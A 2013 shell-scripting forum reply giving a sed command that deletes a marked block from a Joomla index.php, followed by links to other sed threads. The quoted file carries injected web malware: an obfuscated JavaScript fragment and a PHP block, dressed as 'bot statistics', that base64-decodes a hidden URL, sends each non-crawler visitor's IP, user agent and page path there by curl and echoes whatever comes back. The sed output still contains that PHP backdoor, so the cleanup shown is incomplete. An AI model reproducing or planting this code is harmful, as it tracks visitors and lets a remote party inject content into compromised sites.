Sponsored Content
Full Discussion: Sed/replace help
Top Forums Shell Programming and Scripting Sed/replace help Post 302829913 by spacebar on Sunday 7th of July 2013 12:32:45 AM
Old 07-07-2013
Your supplied input:
Code:
$ cat f1
<?php
/**
* @version              $Id: index.php 9764 2007-12-30 07:48:11Z ircmaxell $
* @package              Joomla
* @subpackage   Installation
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license              GNU/GPL, see LICENSE.php
* Joomla! is free software and parts of it may contain or be derived from the
* GNU General Public License or other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );
define( 'JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );

require_once JPATH_BASE.DS.'includes'.DS.'defines.php';
require_once JPATH_BASE.DS.'includes'.DS.'framework.php';

// We want to echo the errors so that the xmlrpc client has a chance to capture them in the payload
JError::setErrorHandling( E_ERROR,       'die' );
JError::setErrorHandling( E_WARNING, 'echo' );
JError::setErrorHandling( E_NOTICE,      'echo' );

// create the mainframe object
$mainframe =& JFactory::getApplication('xmlrpc');

// Ensure that this application is enabled
if (!$mainframe->getCfg('xmlrpc_server')) {
        JError::raiseError(403, 'XML-RPC Server not enabled.');
}

// Includes the required class file for the XML-RPC Server
jimport('phpxmlrpc.xmlrpc');
jimport('phpxmlrpc.xmlrpcs');

// load all available remote calls
JPluginHelper::importPlugin( 'xmlrpc' );
$allCalls = $mainframe->triggerEvent( 'onGetWebServices' );
$methodsArray = array();

foreach ($allCalls as $calls) {
        $methodsArray = array_merge($methodsArray, $calls);
}

$xmlrpcServer = new xmlrpc_server($methodsArray, false);
// allow casting to be defined by that actual values passed
$xmlrpcServer->functions_parameters_type = 'phpvals';
// define UTF-8 as the internal encoding for the XML-RPC server
$xmlrpcServer->xml_header($mainframe->getEncoding());
$xmlrpc_internalencoding = $mainframe->getEncoding();
// debug level
$xmlrpcServer->setDebug(0);
// start the service
$xmlrpcServer->service();
?>
<?
#317008#

5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f ,20,32,4,1,74,4,1,74,4,1\"[\"split\"](\",\");}w=f;s=[];for(i=2-2;-i+
1310!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}</script>";


#/317008#
?>
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>

Sed command to remove specified block:
Code:
$ sed -n '
:s
# if not the first line of block we want to delete then print pattern space and start over
/^<?$/!p
# if the first line of block we want to delete found append next line to the pattern space
/^<?$/ { N
       # If the two lines that start the block we want to delete are in pattern space
       # append next 7 lines to pattern space and delete pattern space which will start next cycle
       /<?\n#317008#$/N;N;N;N;N;N;N;d
       }' f1
<?php
/**
* @version              $Id: index.php 9764 2007-12-30 07:48:11Z ircmaxell $
* @package              Joomla
* @subpackage   Installation
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license              GNU/GPL, see LICENSE.php
* Joomla! is free software and parts of it may contain or be derived from the
* GNU General Public License or other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );
define( 'JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );

require_once JPATH_BASE.DS.'includes'.DS.'defines.php';
require_once JPATH_BASE.DS.'includes'.DS.'framework.php';

// We want to echo the errors so that the xmlrpc client has a chance to capture them in the payload
JError::setErrorHandling( E_ERROR,       'die' );
JError::setErrorHandling( E_WARNING, 'echo' );
JError::setErrorHandling( E_NOTICE,      'echo' );

// create the mainframe object
$mainframe =& JFactory::getApplication('xmlrpc');

// Ensure that this application is enabled
if (!$mainframe->getCfg('xmlrpc_server')) {
        JError::raiseError(403, 'XML-RPC Server not enabled.');
}

// Includes the required class file for the XML-RPC Server
jimport('phpxmlrpc.xmlrpc');
jimport('phpxmlrpc.xmlrpcs');

// load all available remote calls
JPluginHelper::importPlugin( 'xmlrpc' );
$allCalls = $mainframe->triggerEvent( 'onGetWebServices' );
$methodsArray = array();

foreach ($allCalls as $calls) {
        $methodsArray = array_merge($methodsArray, $calls);
}

$xmlrpcServer = new xmlrpc_server($methodsArray, false);
// allow casting to be defined by that actual values passed
$xmlrpcServer->functions_parameters_type = 'phpvals';
// define UTF-8 as the internal encoding for the XML-RPC server
$xmlrpcServer->xml_header($mainframe->getEncoding());
$xmlrpc_internalencoding = $mainframe->getEncoding();
// debug level
$xmlrpcServer->setDebug(0);
// start the service
$xmlrpcServer->service();
?>
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>

 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

How to replace using SED?

Hi, I want to change a particular string in a file with another string. This is part of a larger script file. I m using SED for this purpose: sed -e 's/hostname.domainname/${HOST}.${DOMAIN}/g' $sed_file>$tmp_file Where the occurance hostname.domainname has to be replaced with the... (4 Replies)
Discussion started by: mahatma
4 Replies

2. Shell Programming and Scripting

Loop with sed command to replace line with sed command in it

Okay, title is kind of confusion, but basically, I have a lot of scripts on a server that I need to replace a ps command, however, the new ps command I'm trying to replace the current one with pipes to sed at one point. So now I am attempting to create another script that replaces that line. ... (1 Reply)
Discussion started by: cbo0485
1 Replies

3. UNIX for Dummies Questions & Answers

sed - replace $

my script: amount1=`tail /tmp/file1.txt` amount2=`tail /tmp/file2.txt` sed -e 's/'${amount2}'/'${amount1}'/g' filename1 > filename2 what did i do wrong ? i just want to replace amount1 with amount2 value. (2 Replies)
Discussion started by: tjmannonline
2 Replies

4. Shell Programming and Scripting

using sed to replace help

Hi, i am following content in file cat file Install Installation-path variable Now i need to replace Installation-path with some text to be provided as argument in csh script invocation My question is , can i replace this by only using path eg. sed "s/path/$1" file but it... (1 Reply)
Discussion started by: sarbjit
1 Replies

5. Shell Programming and Scripting

How to use sed to replace the a string in the same file using sed?

How do i replace a string using sed into the same file without creating a intermediate file? (7 Replies)
Discussion started by: gomes1333
7 Replies

6. UNIX for Dummies Questions & Answers

SED Replace

I'm trying to change a "." in a file name with a "_" I have tried; sed -e 's/./_/g' However this then replaces the entire filename with a load of "_" For example; ls /usr/local/feed/service/customers/test1/configs/test1.httpsend | awk -F/ '{print $9}' | tr "" "" | sed -e "s/./_/g" ... (2 Replies)
Discussion started by: JayC89
2 Replies

7. Shell Programming and Scripting

Help with sed replace

Hello, I have a comman separated file lets day data.txt in following format ,:000002 CH XIN9I.INDX, 34.7534909645,:000002 CH,:Index XIN9I.INDX ,:000063 CH XIN9I.INDX, 6.3062924781,:000063 CH,:Index XIN9I.INDX ,:000776 CH XIN9I.INDX, 2.7001954832,:000776 CH,:Index XIN9I.INDX I would like... (9 Replies)
Discussion started by: srattani
9 Replies

8. Shell Programming and Scripting

Replace with sed

Hi, I have values in a file at Place $1 as AmericanDollar, AustralianDollar, Singapore1Dollar and so on on various rows. I want to replace Dollar with Pound for all those records where no numeric character is present in the string. Means in above mentioned values 'Singapore1Dollar' should not be... (11 Replies)
Discussion started by: DannyMirashi
11 Replies

9. Shell Programming and Scripting

sed replace

Hi, i have a file as give below >cat sample_file param1 val1 2012-06-19 ##there can be one or more space after 2012-06-19 in the above file i want to replace val1 with a with value passed through a variable... below is the command i tried >parval='param1 val2' >par1=param1 >sed... (3 Replies)
Discussion started by: midhun19
3 Replies

10. UNIX for Dummies Questions & Answers

sed Replace

I have a file whose output words are always like this: aaaa bbbb cccc dddd. Trying to arrange the data so that there are 2 columns such that the 1st word become the 1st column like this: aaaa aaaa aaaa bbbb aaaa cccc aaaa dddd Trying to use awk... (8 Replies)
Discussion started by: jimmyf
8 Replies
All times are GMT -4. The time now is 01:27 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy